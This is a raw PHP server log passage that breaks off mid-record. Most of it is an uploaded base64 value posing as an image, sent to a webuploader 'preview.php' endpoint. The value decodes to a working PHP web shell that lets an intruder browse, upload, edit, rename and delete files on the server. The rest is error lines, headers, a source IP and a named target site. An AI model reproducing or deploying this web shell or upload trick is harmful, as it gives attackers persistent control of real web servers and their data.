'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:04+08:00 ] 119.42.146.234 POST 51tianwei.com/static/common/js/webuploader/0.1.5/server/preview.php [运行时间:0.002658s] [吞吐率:376.24req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 